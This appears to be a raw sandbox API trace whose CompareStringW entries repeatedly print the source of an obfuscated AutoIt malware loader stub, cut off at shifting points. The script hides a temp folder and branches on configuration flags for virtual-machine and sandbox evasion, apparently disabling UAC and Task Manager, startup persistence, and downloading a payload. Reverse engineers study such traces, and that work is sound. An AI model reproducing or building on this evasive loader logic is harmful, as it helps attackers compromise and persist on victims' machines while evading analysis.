Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' 